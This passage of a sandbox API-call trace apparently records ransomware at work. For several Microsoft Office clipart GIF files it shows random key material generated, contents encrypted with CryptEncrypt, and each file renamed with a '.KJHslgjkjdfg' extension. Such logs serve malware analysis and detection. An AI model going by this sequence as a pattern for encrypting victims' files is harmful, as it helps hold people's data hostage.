GetProcessHeap () returned 0x2ef0000 [0250.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.136] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.136] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.138] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.138] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.138] GetProcessHeap () returned 0x2ef0000 [0250.138] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.138] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.138] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.138] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.139] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.139] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.139] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.139] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x158, lpOverlapped=0x0) returned 1 [0250.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x160, dwBufLen=0x160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x160) returned 1 [0250.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.139] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x160, lpOverlapped=0x0) returned 1 [0250.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.140] SetEndOfFile (hFile=0x130) returned 1 [0250.142] GetProcessHeap () returned 0x2ef0000 [0250.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.142] GetProcessHeap () returned 0x2ef0000 [0250.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.kjhslgjkjdfg")) returned 1 [0250.144] CloseHandle (hObject=0x130) returned 1 [0250.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0250.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.146] GetProcessHeap () returned 0x2ef0000 [0250.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.146] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0250.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.148] GetProcessHeap () returned 0x2ef0000 [0250.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.148] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.148] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.149] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1af, lpOverlapped=0x0) returned 1 [0250.149] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b0) returned 1 [0250.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.149] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b0, lpOverlapped=0x0) returned 1 [0250.149] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.149] SetEndOfFile (hFile=0x130) returned 1 [0250.150] GetProcessHeap () returned 0x2ef0000 [0250.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.150] GetProcessHeap () returned 0x2ef0000 [0250.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.kjhslgjkjdfg")) returned 1 [0250.153] CloseHandle (hObject=0x130) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0250.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.154] GetProcessHeap () returned 0x2ef0000 [0250.154] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.154] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0250.156] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.156] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.156] GetProcessHeap () returned 0x2ef0000 [0250.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.156] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.156] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.156] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.157] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.157] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.157] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.157] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d3, lpOverlapped=0x0) returned 1 [0250.157] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e0) returned 1 [0250.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.157] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e0, lpOverlapped=0x0) returned 1 [0250.157] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.157] SetEndOfFile (hFile=0x130) returned 1 [0250.158] GetProcessHeap () returned 0x2ef0000 [0250.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.158] GetProcessHeap () returned 0x2ef0000 [0250.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.kjhslgjkjdfg")) returned 1 [0250.161] CloseHandle (hObject=0x130) returned 1 [0250.161] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0250.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.163] GetProcessHeap () returned 0x2ef0000 [0250.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.163] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0250.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.165] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.165] GetProcessHeap () returned 0x2ef0000 [0250.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.165] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.165] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.166] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x155, lpOverlapped=0x0) returned 1 [0250.166] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x160, dwBufLen=0x160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x160) returned 1 [0250.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.166] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x160, lpOverlapped=0x0) returned 1 [0250.166] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.166] SetEndOfFile (hFile=0x130) returned 1 [0250.167] GetProcessHeap () returned 0x2ef0000 [0250.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.167] GetProcessHeap () returned 0x2ef0000 [0250.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.kjhslgjkjdfg")) returned 1 [0250.168] CloseHandle (hObject=0x130) returned 1 [0250.168] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0250.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.169] GetProcessHeap () returned 0x2ef0000 [0250.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.170] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.170] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0250.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.171] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.171] GetProcessHeap () returned 